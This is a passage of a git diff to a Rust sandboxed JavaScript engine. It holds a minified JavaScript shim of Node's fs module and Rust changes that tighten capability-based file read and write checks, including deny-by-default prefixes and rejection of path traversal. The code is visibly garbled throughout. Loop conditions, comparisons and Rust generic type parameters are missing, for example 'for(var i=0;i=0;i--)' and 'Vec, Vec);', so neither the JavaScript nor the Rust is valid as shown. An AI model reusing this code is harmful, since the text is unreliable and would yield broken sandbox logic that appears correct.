isD&&!isS;},isSymbolicLink:function(){return isS;},isBlockDevice:function(){return false;},isCharacterDevice:function(){return false;},isFIFO:function(){return false;},isSocket:function(){return false;}};});}if(o.encoding==="buffer"){__slice_ensure_shard(5);return names.map(function(n){return Buffer.from(n,"utf8");});}return names;},statSync:function(p,opts){return __mkStats(String(p),true,opts);},lstatSync:function(p,opts){return __mkStats(String(p),false,opts);},fstatSync:function(fd,opts){var e=__getFd(fd,"fstat");return __mkStats(e.path,true,opts);},openSync:function(p,flags,mode){var sp=String(p),fl=(flags===undefined||flags===null)?"r":String(flags),isR=fl==="r"||fl==="rs"||fl==="0",hasX=fl.indexOf("x")!==-1,isW=fl.charCodeAt(0)===119||fl==="1"||fl==="577",isA=fl.charCodeAt(0)===97||fl.indexOf("1024")!==-1,isPlus=fl.indexOf("+")!==-1||fl==="2";if(hasX&&m.existsSync(sp))throw __fsErr("EEXIST","open",sp);if(isR&&!isPlus){var raw=__slice_fs_read_bytes_sync(sp);if(raw===null)throw __fsErr("ENOENT","open",sp);}else if(isW){var wr=__slice_fs_write_file_sync(sp,new Uint8Array(0));if(wr===-21)throw __fsErr("EISDIR","open",sp);__notifyWatch(sp,"change");}else if(isA){if(!m.existsSync(sp))__slice_fs_write_file_sync(sp,new Uint8Array(0));else __slice_fs_append_file_sync(sp,new Uint8Array(0));}else if(isR&&isPlus){if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","open",sp);}var fd=__nextFd++;__fds[fd]={path:sp,flags:fl,mode:mode||438,pos:0,readable:isR||isPlus,writable:isW||isA||isPlus,append:isA};return fd;},closeSync:function(fd){__getFd(fd,"close");delete __fds[Number(fd)];},readSync:function(fd,buf,offOrOpts,len,pos){var e=__getFd(fd,"read");if(!e.readable)throw __fsErr("EBADF","read");var offset=0,length=buf?buf.byteLength:0,position=null;if(offOrOpts&&typeof offOrOpts==="object"){offset=Number(offOrOpts.offset)||0;length=offOrOpts.length!==undefined?Number(offOrOpts.length):(buf.byteLength-offset);position=offOrOpts.position!==undefined?offOrOpts.position:null;}else{offset=Number(offOrOpts)||0;length=len!==undefined?Number(len):(buf.byteLength-offset);position=pos!==undefined?pos:null;}var raw=__slice_fs_read_bytes_sync(e.path);if(!raw||raw===-21)return 0;var readPos=(position!==null&&position!==undefined&&Number(position)>=0)?Number(position):e.pos;if(readPos>=raw.byteLength||length<=0)return 0;var avail=Math.min(length,raw.byteLength-readPos);var target=new Uint8Array(buf.buffer||buf,(buf.byteOffset||0)+offset,avail);target.set(raw.subarray(readPos,readPos+avail),0);if(position===null||position===undefined||Number(position)<0)e.pos=readPos+avail;return avail;},writeSync:function(fd,bufOrStr,offOrPos,lenOrEnc,pos){var e=__getFd(fd,"write");if(!e.writable)throw __fsErr("EBADF","write");__slice_ensure_shard(5);var src,writePos=null;if(typeof bufOrStr==="string"){var enc=typeof lenOrEnc==="string"?lenOrEnc:(typeof offOrPos==="string"?offOrPos:"utf8");if(typeof offOrPos==="number")writePos=offOrPos;src=Buffer.from(bufOrStr,enc);}else{var u8=__fsData(bufOrStr),off=offOrPos!==undefined?Number(offOrPos):0,ln=lenOrEnc!==undefined?Number(lenOrEnc):(u8.byteLength-off);if(pos!==undefined&&pos!==null)writePos=Number(pos);src=u8.subarray(off,off+ln);}if(e.append){__slice_fs_append_file_sync(e.path,src);e.pos+=src.byteLength;__notifyWatch(e.path,"change");return src.byteLength;}var rawCur=__slice_fs_read_bytes_sync(e.path),cur=(rawCur&&rawCur!==-21)?rawCur:new Uint8Array(0);var p=(writePos!==null&&writePos>=0)?writePos:e.pos,nLen=Math.max(cur.byteLength,p+src.byteLength),out=new Uint8Array(nLen);out.set(cur,0);out.set(src,p);__slice_fs_write_file_sync(e.path,out);if(writePos===null||writePos<0)e.pos=p+src.byteLength;__notifyWatch(e.path,"change");return src.byteLength;},fsyncSync:function(fd){__getFd(fd,"fsync");},fdatasyncSync:function(fd){__getFd(fd,"fdatasync");},ftruncateSync:function(fd,len){var e=__getFd(fd,"ftruncate");return m.truncateSync(e.path,len);},futimesSync:function(fd,atime,mtime){var e=__getFd(fd,"futime");return m.utimesSync(e.path,atime,mtime);},fchmodSync:function(fd,mode){var e=__getFd(fd,"fchmod");return m.chmodSync(e.path,mode);},realpathSync:function(p){var sp=String(p);if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","realpath",sp);var r=__slice_fs_realpath_sync(sp);if(!r)throw __fsErr("ENOENT","realpath",sp);return r;},readlinkSync:function(p,opts){var sp=String(p),r=__slice_fs_readlink_sync(sp);if(!r)throw __fsErr("ENOENT","readlink",sp);if(opts==="buffer"||(opts&&opts.encoding==="buffer")){__slice_ensure_shard(5);return Buffer.from(r,"utf8");}return r;},truncateSync:function(p,len){var sp=String(p);if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","truncate",sp);var r=__slice_fs_truncate_sync(sp,len===undefined?0:Number(len));__notifyWatch(sp,"change");return r;},utimesSync:function(p,atime,mtime){var sp=String(p);if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","utime",sp);return __slice_fs_utimes_sync(sp,__toMs(atime),__toMs(mtime));},lutimesSync:function(p,atime,mtime){return m.utimesSync(p,atime,mtime);},mkdtempSync:function(prefix){var r=__slice_fs_mkdtemp_sync(String(prefix||"/tmp/slice-"));if(!r)throw __fsErr("EACCES","mkdtemp",prefix);return r;},chmodSync:function(p,mode){return __slice_fs_chmod_sync(String(p),Number(mode)||0);},symlinkSync:function(target,p){var sp=String(p),r=__slice_fs_symlink_sync(String(target),sp);__notifyWatch(sp,"rename");return r;},opendirSync:function(p){var sp=String(p),names=m.readdirSync(sp,{withFileTypes:true}),idx=0;return{path:sp,readSync:function(){return idx0)throw __fsErr("ENOTEMPTY","rmdir",sp);var r=__slice_fs_rm_sync(sp);__notifyWatch(sp,"rename");return r;},copyFileSync:function(s,d,mode){var ss=String(s),sd=String(d);if(__slice_fs_stat_sync(ss)<0)throw __fsErr("ENOENT","copyfile",ss,sd);if((Number(mode)&1)&&m.existsSync(sd))throw __fsErr("EEXIST","copyfile",ss,sd);var r=__slice_fs_copy_file_sync(ss,sd);__notifyWatch(sd,"change");return r;},cpSync:function(src,dest,opts){var s=String(src).replace(/\/+$/,""),d=String(dest).replace(/\/+$/,""),o=opts||{};if(typeof o.filter==="function"&&!o.filter(s,d))return;if(!m.existsSync(s))throw __fsErr("ENOENT","cp",s);if(Boolean(__slice_fs_is_symlink_sync(s))&&!o.dereference){var linkTarget=m.readlinkSync(s);m.symlinkSync(linkTarget,d);return;}if(Boolean(__slice_fs_is_dir_sync(s))){if(o.recursive===false)throw __fsErr("EISDIR","cp",s);m.mkdirSync(d,{recursive:true});var entries=m.readdirSync(s);for(var i=0;i=0;i--){var w=__watchers[i];if(w._path===np&&(!listener||w._wfListener===listener))w.close();}},createReadStream:function(p,opts){__slice_ensure_shard(5);var st=__slice_builtins["node:stream"]||__slice_load_builtin("node:stream");var o=(typeof opts==="string")?{encoding:opts}:(opts||{});var enc=o.encoding||null,hwm=Number(o.highWaterMark)||65536,start=o.start!==undefined?Number(o.start):0,end=o.end!==undefined?Number(o.end):Infinity;var rs=new st.Readable({highWaterMark:hwm,encoding:enc});rs.path=String(p);rs.bytesRead=0;rs.pending=true;queueMicrotask(function(){try{if(rs.destroyed)return;if(!m.existsSync(rs.path)){rs.emit("error",__fsErr("ENOENT","open",rs.path));return;}rs.pending=false;rs.emit("open",3);rs.emit("ready");var raw=Buffer.from(__slice_fs_read_bytes_sync(rs.path));var sliceEnd=Math.min(raw.length,end===Infinity?raw.length:end+1);var view=raw.subarray(start,sliceEnd);for(var off=0;off0)waiters.shift().res({value:ev,done:false});else q.push(ev);});w.on("close",function(){done=true;while(waiters.length>0)waiters.shift().res({value:undefined,done:true});});return{[Symbol.asyncIterator]:function(){return{next:function(){if(q.length>0)return Promise.resolve({value:q.shift(),done:false});if(done||w._closed)return Promise.resolve({value:undefined,done:true});return new Promise(function(res,rej){waiters.push({res:res,rej:rej});});},return:function(){w.close();return Promise.resolve({value:undefined,done:true});}};}};}};__fp.default=__fp;__fp.__esModule=true;Object.defineProperty(m,"promises",{value:__fp,writable:true,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"fs/promises",{value:__fp,writable:true,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"node:fs/promises",{value:__fp,writable:true,enumerable:true,configurable:true});}return __fp;}Object.defineProperty(m,"promises",{get:__getFp,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"fs/promises",{get:__getFp,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"node:fs/promises",{get:__getFp,enumerable:true,configurable:true});m.default=m;m.__esModule=true;return __slice_builtins["fs"]=__slice_builtins["node:fs"]=m;})();"#; +const BUILTIN_FS_SNIPPET: &[u8] = br#"(function(){var __watchers=[],__fds=Object.create(null),__nextFd=10;function __fsErr(code,syscall,p,dest){var map={ENOENT:[-2,"no such file or directory"],EEXIST:[-17,"file already exists"],EISDIR:[-21,"illegal operation on a directory"],ENOTDIR:[-20,"not a directory"],ENOTEMPTY:[-39,"directory not empty"],EBADF:[-9,"bad file descriptor"],EACCES:[-13,"permission denied"],EINVAL:[-22,"invalid argument"]},info=map[code]||[-1,"unknown error"],msg=code+": "+info[1]+", "+syscall+(p!==undefined?" '"+p+"'":"")+(dest!==undefined?" -> '"+dest+"'":""),e=new Error(msg);e.code=code;e.errno=info[0];e.syscall=syscall;if(p!==undefined)e.path=String(p);if(dest!==undefined)e.dest=String(dest);return e;}function __getFd(fd,syscall){var e=__fds[Number(fd)];if(!e)throw __fsErr("EBADF",syscall);return e;}function __normW(p){return String(p||"").replace(/\\/g,"/").replace(/\/+$/,"")||"/";}function __notifyWatch(rawP,evType){if(__watchers.length===0)return;var np=__normW(rawP),sl=np.lastIndexOf("/"),dir=sl>0?np.slice(0,sl):"/",base=sl>=0?np.slice(sl+1):np;for(var i=0;i<__watchers.length;i++){var w=__watchers[i];if(w._closed)continue;var wp=w._path;if(np===wp||dir===wp||(w._rec&&np.indexOf(wp+"/")===0)){var rel=(np===wp)?base:(np.slice(wp.length+1)||base);w._emit(evType,rel);}}}function __fsData(d){if(typeof d==="string")return d;if(d instanceof Uint8Array)return d;if(d instanceof ArrayBuffer)return new Uint8Array(d);if(d&&d.buffer instanceof ArrayBuffer)return new Uint8Array(d.buffer,d.byteOffset||0,d.byteLength);return String(d);}function __toMs(t){if(t instanceof Date)return t.getTime();var n=Number(t);if(!Number.isFinite(n))return Date.now();return n<1e11?n*1000:n;}function __mkStats(sp,followSym,opts){var isSym=Boolean(__slice_fs_is_symlink_sync(sp)),sz=__slice_fs_stat_sync(sp);if(sz<0&&!(!followSym&&isSym)){if(opts&&typeof opts==="object"&&opts.throwIfNoEntry===false)return undefined;throw __fsErr("ENOENT",followSym?"stat":"lstat",sp);}if(sz<0)sz=0;var mt=__slice_fs_mtime_sync(sp),isDir=(!followSym&&isSym)?false:Boolean(__slice_fs_is_dir_sync(sp)),d=new Date(mt),bi=Boolean(opts&&typeof opts==="object"&&opts.bigint),vSz=bi?BigInt(Math.floor(sz)):sz,vMt=bi?BigInt(Math.floor(mt)):mt,vMode=bi?BigInt((!followSym&&isSym)?41471:(isDir?16877:33188)):((!followSym&&isSym)?41471:(isDir?16877:33188));return{size:vSz,mtimeMs:vMt,ctimeMs:vMt,atimeMs:vMt,birthtimeMs:vMt,mtime:d,ctime:d,atime:d,birthtime:d,mode:vMode,isFile:function(){return(!followSym&&isSym)?false:!isDir;},isDirectory:function(){return(!followSym&&isSym)?false:isDir;},isSymbolicLink:function(){return !followSym&&isSym;},isBlockDevice:function(){return false;},isCharacterDevice:function(){return false;},isFIFO:function(){return false;},isSocket:function(){return false;}};}function __cbWrap(syncFn){return function(){var args=[],cb=null;for(var i=0;i=0?n.slice(sl+1):n,par=sl>=0?((base==="/"?"":base)+"/"+n.slice(0,sl)):base,isD=Boolean(__slice_fs_is_dir_sync(fp)),isS=Boolean(__slice_fs_is_symlink_sync(fp));return{name:bn,parentPath:par,path:par,isFile:function(){return !isD&&!isS;},isDirectory:function(){return isD&&!isS;},isSymbolicLink:function(){return isS;},isBlockDevice:function(){return false;},isCharacterDevice:function(){return false;},isFIFO:function(){return false;},isSocket:function(){return false;}};});}if(o.encoding==="buffer"){__slice_ensure_shard(5);return names.map(function(n){return Buffer.from(n,"utf8");});}return names;},statSync:function(p,opts){return __mkStats(String(p),true,opts);},lstatSync:function(p,opts){return __mkStats(String(p),false,opts);},fstatSync:function(fd,opts){var e=__getFd(fd,"fstat");return __mkStats(e.path,true,opts);},openSync:function(p,flags,mode){var sp=String(p),fl=(flags===undefined||flags===null)?"r":String(flags),isR=fl==="r"||fl==="rs"||fl==="0",hasX=fl.indexOf("x")!==-1,isW=fl.charCodeAt(0)===119||fl==="1"||fl==="577",isA=fl.charCodeAt(0)===97||fl.indexOf("1024")!==-1,isPlus=fl.indexOf("+")!==-1||fl==="2";if(hasX&&m.existsSync(sp))throw __fsErr("EEXIST","open",sp);if(isR&&!isPlus){var raw=__slice_fs_read_bytes_sync(sp);if(raw===null)throw __fsErr("ENOENT","open",sp);}else if(isW){var wr=__slice_fs_write_file_sync(sp,new Uint8Array(0));if(wr===-21)throw __fsErr("EISDIR","open",sp);__notifyWatch(sp,"change");}else if(isA){if(!m.existsSync(sp))__slice_fs_write_file_sync(sp,new Uint8Array(0));else __slice_fs_append_file_sync(sp,new Uint8Array(0));}else if(isR&&isPlus){if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","open",sp);}var fd=__nextFd++;__fds[fd]={path:sp,flags:fl,mode:mode||438,pos:0,readable:isR||isPlus,writable:isW||isA||isPlus,append:isA};return fd;},closeSync:function(fd){__getFd(fd,"close");delete __fds[Number(fd)];},readSync:function(fd,buf,offOrOpts,len,pos){var e=__getFd(fd,"read");if(!e.readable)throw __fsErr("EBADF","read");var offset=0,length=buf?buf.byteLength:0,position=null;if(offOrOpts&&typeof offOrOpts==="object"){offset=Number(offOrOpts.offset)||0;length=offOrOpts.length!==undefined?Number(offOrOpts.length):(buf.byteLength-offset);position=offOrOpts.position!==undefined?offOrOpts.position:null;}else{offset=Number(offOrOpts)||0;length=len!==undefined?Number(len):(buf.byteLength-offset);position=pos!==undefined?pos:null;}var raw=__slice_fs_read_bytes_sync(e.path);if(!raw||raw===-21)return 0;var readPos=(position!==null&&position!==undefined&&Number(position)>=0)?Number(position):e.pos;if(readPos>=raw.byteLength||length<=0)return 0;var avail=Math.min(length,raw.byteLength-readPos);var target=new Uint8Array(buf.buffer||buf,(buf.byteOffset||0)+offset,avail);target.set(raw.subarray(readPos,readPos+avail),0);if(position===null||position===undefined||Number(position)<0)e.pos=readPos+avail;return avail;},writeSync:function(fd,bufOrStr,offOrPos,lenOrEnc,pos){var e=__getFd(fd,"write");if(!e.writable)throw __fsErr("EBADF","write");__slice_ensure_shard(5);var src,writePos=null;if(typeof bufOrStr==="string"){var enc=typeof lenOrEnc==="string"?lenOrEnc:(typeof offOrPos==="string"?offOrPos:"utf8");if(typeof offOrPos==="number")writePos=offOrPos;src=Buffer.from(bufOrStr,enc);}else{var u8=__fsData(bufOrStr),off=offOrPos!==undefined?Number(offOrPos):0,ln=lenOrEnc!==undefined?Number(lenOrEnc):(u8.byteLength-off);if(pos!==undefined&&pos!==null)writePos=Number(pos);src=u8.subarray(off,off+ln);}if(e.append){__slice_fs_append_file_sync(e.path,src);e.pos+=src.byteLength;__notifyWatch(e.path,"change");return src.byteLength;}var rawCur=__slice_fs_read_bytes_sync(e.path),cur=(rawCur&&rawCur!==-21)?rawCur:new Uint8Array(0);var p=(writePos!==null&&writePos>=0)?writePos:e.pos,nLen=Math.max(cur.byteLength,p+src.byteLength),out=new Uint8Array(nLen);out.set(cur,0);out.set(src,p);__slice_fs_write_file_sync(e.path,out);if(writePos===null||writePos<0)e.pos=p+src.byteLength;__notifyWatch(e.path,"change");return src.byteLength;},fsyncSync:function(fd){__getFd(fd,"fsync");},fdatasyncSync:function(fd){__getFd(fd,"fdatasync");},ftruncateSync:function(fd,len){var e=__getFd(fd,"ftruncate");return m.truncateSync(e.path,len);},futimesSync:function(fd,atime,mtime){var e=__getFd(fd,"futime");return m.utimesSync(e.path,atime,mtime);},fchmodSync:function(fd,mode){var e=__getFd(fd,"fchmod");return m.chmodSync(e.path,mode);},realpathSync:function(p){var sp=String(p);if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","realpath",sp);var r=__slice_fs_realpath_sync(sp);if(!r)throw __fsErr("ENOENT","realpath",sp);return r;},readlinkSync:function(p,opts){var sp=String(p),r=__slice_fs_readlink_sync(sp);if(!r)throw __fsErr("ENOENT","readlink",sp);if(opts==="buffer"||(opts&&opts.encoding==="buffer")){__slice_ensure_shard(5);return Buffer.from(r,"utf8");}return r;},truncateSync:function(p,len){var sp=String(p);if(!__slice_fs_check_write_sync(sp))return;if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","truncate",sp);var r=__slice_fs_truncate_sync(sp,len===undefined?0:Number(len));__notifyWatch(sp,"change");return r;},utimesSync:function(p,atime,mtime){var sp=String(p);if(!__slice_fs_check_write_sync(sp))return;if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","utime",sp);return __slice_fs_utimes_sync(sp,__toMs(atime),__toMs(mtime));},lutimesSync:function(p,atime,mtime){return m.utimesSync(p,atime,mtime);},mkdtempSync:function(prefix){var r=__slice_fs_mkdtemp_sync(String(prefix||"/tmp/slice-"));if(!r)throw __fsErr("EACCES","mkdtemp",prefix);return r;},chmodSync:function(p,mode){return __slice_fs_chmod_sync(String(p),Number(mode)||0);},symlinkSync:function(target,p){var sp=String(p),r=__slice_fs_symlink_sync(String(target),sp);__notifyWatch(sp,"rename");return r;},opendirSync:function(p){var sp=String(p),names=m.readdirSync(sp,{withFileTypes:true}),idx=0;return{path:sp,readSync:function(){return idx0)throw __fsErr("ENOTEMPTY","rmdir",sp);var r=__slice_fs_rm_sync(sp);__notifyWatch(sp,"rename");return r;},copyFileSync:function(s,d,mode){var ss=String(s),sd=String(d);if(__slice_fs_stat_sync(ss)<0)throw __fsErr("ENOENT","copyfile",ss,sd);if((Number(mode)&1)&&m.existsSync(sd))throw __fsErr("EEXIST","copyfile",ss,sd);var r=__slice_fs_copy_file_sync(ss,sd);__notifyWatch(sd,"change");return r;},cpSync:function(src,dest,opts){var s=String(src).replace(/\/+$/,""),d=String(dest).replace(/\/+$/,""),o=opts||{};if(typeof o.filter==="function"&&!o.filter(s,d))return;if(!m.existsSync(s))throw __fsErr("ENOENT","cp",s);if(Boolean(__slice_fs_is_symlink_sync(s))&&!o.dereference){var linkTarget=m.readlinkSync(s);m.symlinkSync(linkTarget,d);return;}if(Boolean(__slice_fs_is_dir_sync(s))){if(o.recursive===false)throw __fsErr("EISDIR","cp",s);m.mkdirSync(d,{recursive:true});var entries=m.readdirSync(s);for(var i=0;i=0;i--){var w=__watchers[i];if(w._path===np&&(!listener||w._wfListener===listener))w.close();}},createReadStream:function(p,opts){__slice_ensure_shard(5);var st=__slice_builtins["node:stream"]||__slice_load_builtin("node:stream");var o=(typeof opts==="string")?{encoding:opts}:(opts||{});var enc=o.encoding||null,hwm=Number(o.highWaterMark)||65536,start=o.start!==undefined?Number(o.start):0,end=o.end!==undefined?Number(o.end):Infinity;var rs=new st.Readable({highWaterMark:hwm,encoding:enc});rs.path=String(p);rs.bytesRead=0;rs.pending=true;queueMicrotask(function(){try{if(rs.destroyed)return;if(!m.existsSync(rs.path)){rs.emit("error",__fsErr("ENOENT","open",rs.path));return;}rs.pending=false;rs.emit("open",3);rs.emit("ready");var raw=Buffer.from(__slice_fs_read_bytes_sync(rs.path));var sliceEnd=Math.min(raw.length,end===Infinity?raw.length:end+1);var view=raw.subarray(start,sliceEnd);for(var off=0;off0)waiters.shift().res({value:ev,done:false});else q.push(ev);});w.on("close",function(){done=true;while(waiters.length>0)waiters.shift().res({value:undefined,done:true});});return{[Symbol.asyncIterator]:function(){return{next:function(){if(q.length>0)return Promise.resolve({value:q.shift(),done:false});if(done||w._closed)return Promise.resolve({value:undefined,done:true});return new Promise(function(res,rej){waiters.push({res:res,rej:rej});});},return:function(){w.close();return Promise.resolve({value:undefined,done:true});}};}};}};__fp.default=__fp;__fp.__esModule=true;Object.defineProperty(m,"promises",{value:__fp,writable:true,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"fs/promises",{value:__fp,writable:true,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"node:fs/promises",{value:__fp,writable:true,enumerable:true,configurable:true});}return __fp;}Object.defineProperty(m,"promises",{get:__getFp,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"fs/promises",{get:__getFp,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"node:fs/promises",{get:__getFp,enumerable:true,configurable:true});m.default=m;m.__esModule=true;return __slice_builtins["fs"]=__slice_builtins["node:fs"]=m;})();"#; const BUILTIN_PATH_SNIPPET: &[u8] = br#"(function(){function __normPath(p){var s=String(p||"").replace(/\\/g,"/");if(s.length===0)return ".";var isAbs=s.charCodeAt(0)===47,trailing=s.length>1&&s.charCodeAt(s.length-1)===47,parts=s.split("/"),out=[];for(var i=0;i0&&out[out.length-1]!=="..")out.pop();else if(!isAbs)out.push("..");}else out.push(seg);}var res=(isAbs?"/":"")+out.join("/");if(!res)res=isAbs?"/":".";if(trailing&&res!=="/")res+="/";return res;}var m={sep:"/",delimiter:":",normalize:__normPath,isAbsolute:function(p){var s=String(p||"");return s.length>0&&(s.charCodeAt(0)===47||s.charCodeAt(0)===92||(s.length>2&&s.charCodeAt(1)===58));},join:function(){var parts=[];for(var i=0;i=-1&&!resolvedAbs;i--){var p=i>=0?String(arguments[i]||""):"/";if(!p)continue;p=p.replace(/\\/g,"/");resolved=p+"/"+resolved;resolvedAbs=p.charCodeAt(0)===47;}var norm=__normPath(resolved);return(norm.length>1&&norm.charCodeAt(norm.length-1)===47)?norm.slice(0,-1):norm;},dirname:function(p){var s=String(p||"").replace(/\\/g,"/").replace(/\/+$/,"");if(!s)return ".";var i=s.lastIndexOf("/");return i>0?s.slice(0,i):(i===0?"/":".");},basename:function(p,ext){var s=String(p||"").replace(/\\/g,"/").replace(/\/+$/,""),i=s.lastIndexOf("/"),b=i>=0?s.slice(i+1):s;return(ext&&b.endsWith(ext))?b.slice(0,b.length-ext.length):b;},extname:function(p){var b=m.basename(p),i=b.lastIndexOf(".");return i>0?b.slice(i):"";},relative:function(from,to){var f=m.resolve(from),t=m.resolve(to);if(f===t)return "";var fs=f.split("/").filter(Boolean),ts=t.split("/").filter(Boolean),len=Math.min(fs.length,ts.length),same=len;for(var i=0;i, Vec); +#[derive(Clone, Debug, Default)] +pub(crate) struct BoaFsCaps { + pub(crate) read_prefixes: Vec, + pub(crate) write_prefixes: Vec, +} + pub(crate) type CapturedBoaHttpRes = (u16, String, String, Vec<(String, String)>); thread_local! { @@ -66,8 +71,15 @@ thread_local! { std::cell::RefCell::new(FxHashMap::default()); pub(crate) static BOA_VFS_DIRS: std::cell::RefCell> = std::cell::RefCell::new(FxHashSet::default()); - pub(crate) static BOA_ACTIVE_CAPS: std::cell::RefCell> = - const { std::cell::RefCell::new(None) }; + pub(crate) static BOA_VFS_TOMBSTONES: std::cell::RefCell> = + std::cell::RefCell::new(FxHashSet::default()); + pub(crate) static BOA_ACTIVE_CAPS: std::cell::RefCell = + const { + std::cell::RefCell::new(BoaFsCaps { + read_prefixes: Vec::new(), + write_prefixes: Vec::new(), + }) + }; pub(crate) static BOA_VIOLATION: std::cell::RefCell> = const { std::cell::RefCell::new(None) }; pub(crate) static BOA_HTTP_REQ: std::cell::RefCell = @@ -435,10 +447,13 @@ pub(crate) fn norm_vfs_path(p: &str) -> String { #[inline(never)] pub(crate) fn record_boa_fs_violation(tenant_id: &str, path: &str) -> bool { BOA_VIOLATION.with(|v| { - *v.borrow_mut() = Some(SandboxViolation::FsReadDenied { - tenant_id: tenant_id.to_string(), - path: path.to_string(), - }); + let mut slot = v.borrow_mut(); + if slot.is_none() { + *slot = Some(SandboxViolation::FsReadDenied { + tenant_id: tenant_id.to_string(), + path: path.to_string(), + }); + } }); false } @@ -447,56 +462,79 @@ pub(crate) fn record_boa_fs_violation(tenant_id: &str, path: &str) -> bool { #[inline(never)] pub(crate) fn record_boa_fs_write_violation(tenant_id: &str, path: &str) -> bool { BOA_VIOLATION.with(|v| { - *v.borrow_mut() = Some(SandboxViolation::FsWriteDenied { - tenant_id: tenant_id.to_string(), - path: path.to_string(), - }); + let mut slot = v.borrow_mut(); + if slot.is_none() { + *slot = Some(SandboxViolation::FsWriteDenied { + tenant_id: tenant_id.to_string(), + path: path.to_string(), + }); + } }); false } +#[cold] +#[inline(never)] +fn current_boa_tenant_or_default() -> String { + BOA_ACTIVE_TENANT.with(|t| { + let b = t.borrow(); + if b.is_empty() { + "boa-tenant".to_string() + } else { + b.clone() + } + }) +} + +/// Side-effect-free predicate checking whether the active compartment currently holds OCap read +/// authority for `path` without recording a `SandboxViolation` when denied. #[inline] -pub(crate) fn check_boa_fs_read_ocap(path: &str) -> bool { - if memchr::memmem::find(path.as_bytes(), b"..").is_some() { - let tenant = BOA_ACTIVE_CAPS - .with(|c| c.borrow().as_ref().map(|t| t.0.clone())) - .unwrap_or_else(|| "boa-tenant".to_string()); - return record_boa_fs_violation(&tenant, path); +pub(crate) fn has_boa_fs_read_ocap(path: &str) -> bool { + if slice_sandbox::is_rejected_vfs_candidate(path) { + return false; } BOA_ACTIVE_CAPS.with(|c| { - if let Some((tenant_id, read_prefixes, _)) = &*c.borrow() { - if !read_prefixes.is_empty() - && !read_prefixes - .iter() - .any(|prefix| slice_sandbox::vfs_prefix_matches(path, prefix)) - { - return record_boa_fs_violation(tenant_id, path); - } + let caps = c.borrow(); + if caps.read_prefixes.is_empty() { + return false; } - true + let norm = slice_sandbox::normalize_vfs_path_cow(path); + caps.read_prefixes + .iter() + .any(|prefix| slice_sandbox::vfs_normalized_candidate_matches_prefix(&norm, prefix)) }) } +#[inline] +pub(crate) fn check_boa_fs_read_ocap(path: &str) -> bool { + if !has_boa_fs_read_ocap(path) { + let tenant = current_boa_tenant_or_default(); + return record_boa_fs_violation(&tenant, path); + } + true +} + #[inline] pub(crate) fn check_boa_fs_write_ocap(path: &str) -> bool { - if memchr::memmem::find(path.as_bytes(), b"..").is_some() { - let tenant = BOA_ACTIVE_CAPS - .with(|c| c.borrow().as_ref().map(|t| t.0.clone())) - .unwrap_or_else(|| "boa-tenant".to_string()); + if slice_sandbox::is_rejected_vfs_candidate(path) { + let tenant = current_boa_tenant_or_default(); return record_boa_fs_write_violation(&tenant, path); } - BOA_ACTIVE_CAPS.with(|c| { - if let Some((tenant_id, _, write_prefixes)) = &*c.borrow() { - if !write_prefixes.is_empty() - && !write_prefixes - .iter() - .any(|prefix| slice_sandbox::vfs_prefix_matches(path, prefix)) - { - return record_boa_fs_write_violation(tenant_id, path); - } + let allowed = BOA_ACTIVE_CAPS.with(|c| { + let caps = c.borrow(); + if caps.write_prefixes.is_empty() { + return false; } - true - }) + let norm = slice_sandbox::normalize_vfs_path_cow(path); + caps.write_prefixes + .iter() + .any(|prefix| slice_sandbox::vfs_normalized_candidate_matches_prefix(&norm, prefix)) + }); + if !allowed { + let tenant = current_boa_tenant_or_default(); + return record_boa_fs_write_violation(&tenant, path); + } + true } #[inline] @@ -693,7 +731,7 @@ pub(crate) struct SavedIsolateContextGuard { pub(crate) saved_stdout: Vec, pub(crate) saved_violation: Option, pub(crate) saved_tenant: String, - pub(crate) saved_caps: Option, + pub(crate) saved_caps: BoaFsCaps, pub(crate) saved_net_hosts: FxHashSet, pub(crate) saved_egress_secrets: Vec, pub(crate) saved_env_map: FxHashMap, @@ -728,7 +766,7 @@ impl SavedIsolateContextGuard { let saved_stdout = BOA_STDOUT.with(|out| std::mem::take(&mut *out.borrow_mut())); let saved_violation = BOA_VIOLATION.with(|v| v.borrow_mut().take()); let saved_tenant = BOA_ACTIVE_TENANT.with(|t| std::mem::take(&mut *t.borrow_mut())); - let saved_caps = BOA_ACTIVE_CAPS.with(|c| c.borrow_mut().take()); + let saved_caps = BOA_ACTIVE_CAPS.with(|c| std::mem::take(&mut *c.borrow_mut())); let saved_net_hosts = BOA_NET_HOSTS.with(|h| std::mem::take(&mut *h.borrow_mut())); let saved_egress_secrets = BOA_EGRESS_SECRETS.with(|s| std::mem::take(&mut *s.borrow_mut())); @@ -873,7 +911,7 @@ impl Drop for SavedIsolateContextGuard { BOA_STDOUT.with(|out| *out.borrow_mut() = std::mem::take(&mut self.saved_stdout)); BOA_VIOLATION.with(|v| *v.borrow_mut() = self.saved_violation.take()); BOA_ACTIVE_TENANT.with(|t| *t.borrow_mut() = std::mem::take(&mut self.saved_tenant)); - BOA_ACTIVE_CAPS.with(|c| *c.borrow_mut() = self.saved_caps.take()); + BOA_ACTIVE_CAPS.with(|c| *c.borrow_mut() = std::mem::take(&mut self.saved_caps)); BOA_NET_HOSTS.with(|h| *h.borrow_mut() = std::mem::take(&mut self.saved_net_hosts)); BOA_EGRESS_SECRETS .with(|s| *s.borrow_mut() = std::mem::take(&mut self.saved_egress_secrets)); diff --git a/crates/slice-engine/src/runtime/workers.rs b/crates/slice-engine/src/runtime/workers.rs index 1fb6bb6..ca9f80d 100644 --- a/crates/slice-engine/src/runtime/workers.rs +++ b/crates/slice-engine/src/runtime/workers.rs @@ -9,10 +9,10 @@ //! - Lock-free `mpsc` bidirectional message channels integrated directly into `event_loop.rs` use crate::boa_realm::{ - check_boa_fs_read_ocap, mark_subsystem_dirty, 